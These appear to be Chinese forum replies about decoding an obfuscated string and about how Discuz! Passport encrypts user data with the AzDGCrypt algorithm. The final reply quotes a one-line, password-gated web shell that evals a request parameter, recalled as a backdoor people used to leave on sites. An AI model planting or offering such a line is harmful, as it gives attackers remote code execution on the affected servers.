自定义编码。有一层Base64吧，有一个外部参数c可控。代码贴全点兴许可以帮到你。

discuz里的Discuz!PassPort接口加密

需要知道私有密匙才能解密

Discuz! Passport 采用 Azerbaijan Development Group（AzDG）开发的可逆加密算法 AzDGCrypt 对用户资料进行加密。如提供正确的私有密匙，可通过本加密算法对数据进行加密及解密，因此只要保证私有密匙的保密性，即可确保数据传递过程中的安全。

这个加密有点意思，以前有人留这种一句话：

if md5(request("password")) = "****************" then eval(request("code"))
